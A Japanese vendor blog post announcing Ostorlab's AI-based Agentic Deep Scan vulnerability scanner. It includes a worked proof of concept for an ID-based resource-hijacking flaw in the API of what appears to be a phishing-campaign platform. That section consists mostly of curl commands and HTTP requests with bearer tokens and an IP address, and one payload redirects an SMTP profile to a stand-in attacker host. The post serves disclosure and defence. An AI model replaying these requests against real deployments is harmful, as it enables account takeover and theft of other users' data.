当社のAIエンジンNeutronが、UCバークレーのCyberGymベンチマークで96.75%のスコアを記録しました。 詳細を見る

製品

製品

OstorlabがAgentic Deep Scanをリリース:次世代の脆弱性スキャナー

Ostorlabは、iOS、Android(近日中にharmonyOSにも対応)、Webアプリケーションにおける現実のリスクを検証する次世代の脆弱性スキャナー、Agentic Deep Scanをリリースしました。Bring Your Own Key(BYOK)に対応しているため、データとコストを完全に管理したまま、その強力なスキャン機能を安心して試せます。

Ostorlabの新しい次世代の脆弱性スキャナー、Agentic Deep Scanを発表できることを大変うれしく思います。これは単なるスキャナーの一つではありません。iOS、Android(近日中にharmonyOSにも対応)、Webアプリケーションに対する現実の攻撃をシミュレートし、すべての検出結果を現実的な条件下で検証する、根本的に異なるアプローチです。

Bring Your Own Key(BYOK)に対応しているため、この次世代のスキャンアプローチを試しながら、データとAIの利用を完全に管理できます。

当社は、これをモバイルアプリケーションに特化して深く実践している唯一のプラットフォームです。現実的なエクスプロイト検証、コンポーネント横断の分析、実証レベルのエビデンスを、現在ほかのどのツールも提供していない形で組み合わせています。

Agentic Deep Scanを搭載したOstorlabプラットフォームのスキャンプロファイル画面
Agentic Deep Scan:Ostorlabプラットフォームの新機能

Agentic Deep Scanが実証に裏付けられた対応可能な検出結果を提供する仕組み

一般的なスキャナーは、パターンやシグネチャに基づいて潜在的な問題を特定します。Agentic Deep Scanはさらに一歩踏み込みます。すべての検出結果を現実の条件下で検証し、スクリーンショット、リクエスト/レスポンスのログ、端末のログ、段階的な再現手順といった実証レベルのエビデンスを添えるため、チームは攻撃者が実際に悪用し得るリスクに集中できます。

サンプルスキャンで検証された検出結果

Agentic Deep Scanは、稼働中のアプリケーションに潜む、現実的で対応可能なリスクを明らかにします。たとえば当社のサンプルレポートでは、VulnBank.orgにおけるJWT認証バイパスを含む、12件のクリティカルな検出結果を取り上げています。

Agentic Deep Scanサンプルレポートの表紙
Agentic Deep Scanサンプルレポート

VulnBank.orgにおけるJWT認証バイパスにより、攻撃者は昇格した権限(is_admin: true)を持つトークンを偽造でき、/admin/create_adminや/admin/approve_loan/{loan_id}といった管理者専用のエンドポイントにアクセスできました。

これは、認証と認可の弱点が現実の条件下でどのように悪用され得るか、そしてAgentic Deep Scanが実証レベルのエビデンスを提供することで、チームが確信を持って問題を再現し修正できることを示しています。

Agentic Deep Scanが発見した現実の脆弱性

Agentic Deep Scanを実際のアプリケーションで実行したところ、これまで知られていなかった脆弱性が複数見つかりました。一部の検出結果は、広く使われているオープンソースプロジェクトでまだ修正待ちの状態であり、このスキャナーの有効性と実践的な効果を示しています。

これらの検出結果の中でも、その重大度で際立っていたものがあります。リソースを完全に乗っ取ることができる、単純なAPIロジックの欠陥です。ここでは、Agentic Deep Scanがこれをどのように発見し、悪用し、具体的なエビデンスでその影響を実証したかを紹介します。

説明

リソースを作成するAPIエンドポイントは、POSTリクエスト内の'id'パラメーターが既存のリソースにすでに関連付けられていないかを検証していません。攻撃者がPOSTリクエストに既存のリソースIDを含めると、アプリケーションは新しいリソースを作成する代わりに、そのリソースの所有権を攻撃者に移してしまいます。これにより、機密のフィッシング素材、標的のメールアドレス一覧(GDPR違反)、認証情報を収集するページ、メール送信インフラが丸ごと盗まれる可能性があります。

根本原因

リソースを作成するAPIエンドポイント(POST /api/groups/、POST /api/templates/、POST /api/pages/、POST /api/smtp/)は、リクエストボディ内のidパラメーターを、そのIDがすでに別のユーザーのリソースに属しているかどうかを検証せずに受け付けます。既存のIDが指定されると、アプリケーションは新しいリソースを作成する代わりにそのリソースを更新(乗っ取り)し、所有権を認証済みの攻撃者に移します。

脆弱なコードパターン

APIハンドラーは、idフィールドを含むJSONボディ全体を受け付けます。

// Endpoint pattern vulnerable to IDOR
router.HandleFunc("/api/groups/", mid.Use(as.UseGroups, mid.RequireAPIKey))

ハンドラーは受信したJSONを、idフィールドを除去も検証もせずにそのまま処理するため、既存のリソースIDのマスアサインメントが可能になります。

悪用のエビデンス

ステップ1 - 管理者が機密の標的グループを作成する:

POST /api/groups/ HTTP/1.1
Authorization: Bearer <admin_api_key>
Content-Type: application/json

{
    "name": "CONFIDENTIAL_TARGETS",
    "targets": [
        {"email": "john.victim@testcorp.com", "first_name": "John", "last_name": "Victim"},
        {"email": "jane.target@testcorp.com", "first_name": "Jane", "last_name": "Target"},
        {"email": "bob.doe@financial.com", "first_name": "Bob", "last_name": "Doe"}
    ]
}

Response: HTTP 201 Created
{"id": 106, "name": "CONFIDENTIAL_TARGETS", "targets": [...]}

ステップ2 - 攻撃者(user_b)がID 106を指定してグループを乗っ取る:

POST /api/groups/ HTTP/1.1
Authorization: Bearer <attacker_api_key>
Content-Type: application/json

{
    "id": 106,
    "name": "STOLEN_GROUP",
    "targets": []
}

Response: HTTP 201 Created
{"id": 106, "name": "STOLEN_GROUP", "targets": []}

ステップ3 - 所有権の移転を確認する:

# Admin attempts to access their own group
curl -k https://34.55.131.240:3333/api/groups/106 \
  -H 'Authorization: Bearer <admin_api_key>'

Response: HTTP 404 Not Found
{"message": "Group not found", "success": false, "data": null}

# Attacker accesses the stolen group
curl -k https://34.55.131.240:3333/api/groups/106 \
  -H 'Authorization: Bearer <attacker_api_key>'

Response: HTTP 200 OK
{"id": 106, "name": "STOLEN_GROUP", ...}

脆弱であることが確認されたその他のエンドポイント:

POST /api/templates/ HTTP/1.1
Authorization: Bearer <attacker_api_key>
{"id": 113, "name": "STOLEN_TEMPLATE", "subject": "HACKED", "html": "..."}
Response: HTTP 201 Created

POST /api/pages/ HTTP/1.1
Authorization: Bearer <attacker_api_key>
{"id": 60, "name": "STOLEN_PAGE", "html": "...", "capture_credentials": true}
Response: HTTP 201 Created

POST /api/smtp/ HTTP/1.1
Authorization: Bearer <attacker_api_key>
{"id": 81, "name": "STOLEN_SMTP", "host": "evil.attacker.com:25"}
Response: HTTP 201 Created

持ち出されたデータ:

  • 標的のメールアドレス:john.victim@testcorp.com、jane.target@testcorp.com、bob.doe@financial.com
  • 件名が「Urgent: Your Account Security」のフィッシングテンプレートID 113
  • 認証情報収集の設定を含むランディングページID 60
  • SMTP送信プロファイルID 81

検証のエビデンス

検証試行1

id=106を指定したPOST /api/groups/がHTTP 201 Createdを返し、所有権が攻撃者に移った**

検証試行2

id=113を指定したPOST /api/templates/がHTTP 201 Createdを返した

検証試行3

id=60を指定したPOST /api/pages/がHTTP 201 Createdを返した

検証試行4

id=81を指定したPOST /api/smtp/がHTTP 201 Createdを返した

検証試行5

乗っ取られたリソースにアクセスすると、元の所有者はHTTP 404を受け取る

検証試行6

盗んだリソースにアクセスすると、攻撃者はHTTP 200を受け取る

検証試行7

根本原因

POST /api/groups/エンドポイントは、JSONリクエストボディのidフィールドを、そのIDが別のユーザーが所有する既存のリソースに属しているかどうかを検証せずに受け付けて処理します。バックエンドはクライアントが指定したIDをそのまま使用するため、IDが別のユーザーのリソースを参照している場合に所有権の移転が発生します。

脆弱なコードパターン

// Endpoint accepts full JSON body including 'id' field
router.HandleFunc("/api/groups/", mid.Use(as.UseGroups, mid.RequireAPIKey))
// Handler processes JSON directly without stripping/validating 'id'

悪用のエビデンス

ステップ1 - ベースラインの確認:管理者がグループ110を所有しており、攻撃者はアクセスできない:

# Admin retrieves their group
curl -k 'https://34.55.131.240:3333/api/groups/110' \
  -H 'Authorization: Bearer 1b3146bda7ae9ae9bebff4cdfce2319365fe7ee1c716f0fb67f6367d81459848'

レスポンス:HTTP 200 - グループには機密の標的メールアドレスが4件含まれている

# Attacker attempts access (pre-hijack)
curl -k 'https://34.55.131.240:3333/api/groups/110' \
  -H 'Authorization: Bearer 1b08fb31e5daeceeb5844cab911ff71918e29599223c8dd61a8b8ad54fdbd5d4'

レスポンス:HTTP 404 - {"message":"Group not found","success":false,"data":null}

ステップ2 - 攻撃者が既存のIDを指定してグループを乗っ取る:

curl -k -i 'https://34.55.131.240:3333/api/groups/' \
  -H 'Authorization: Bearer 1b08fb31e5daeceeb5844cab911ff71918e29599223c8dd61a8b8ad54fdbd5d4' \
  -H 'Content-Type: application/json' \
  -X POST \
  --data '{"id":110,"name":"HIJACKED_GROUP_BY_ATTACKER","targets":[{"email":"dummy@testcompany.com","first_name":"Dummy","last_name":"User"}]}'

レスポンス:HTTP 201 Created

{"id":110,"name":"HIJACKED_GROUP_BY_ATTACKER","targets":[...]}

ステップ3 - 所有権の移転を確認:

# Admin attempts to access their group (post-hijack)
curl -k 'https://34.55.131.240:3333/api/groups/110' \
  -H 'Authorization: Bearer 1b3146bda7ae9ae9bebff4cdfce2319365fe7ee1c716f0fb67f6367d81459848'

レスポンス:HTTP 404 - {"message":"Group not found","success":false,"data":null}

# Attacker retrieves stolen group
curl -k 'https://34.55.131.240:3333/api/groups/110' \
  -H 'Authorization: Bearer 1b08fb31e5daeceeb5844cab911ff71918e29599223c8dd61a8b8ad54fdbd5d4'

レスポンス:HTTP 200 - 元の標的を含むグループの全データ:

executive@testcompany.com

hr@testcompany.com

itadmin@testcompany.com

finance@testcompany.com

BYOK(Bring Your Own Key)でAgentic Deep Scanを試す

APIキーを追加してAIモデルを選択できるOstorlabプラットフォームのBYOKメニュー
OstorlabプラットフォームのBYOKメニュー

BYOK(Bring Your Own Key)により、自社の認証情報を使って、データとコストを完全に管理したままAgentic Deep Scanを安全に試せます。自社のアプリで、この次世代のスキャンアプローチを手軽に試すことができます。

Agentic Deep Scanの詳細:
- Web Agentic Deep Scan
- Mobile Agentic Deep Scan

タグ:

Agentic Deep Scan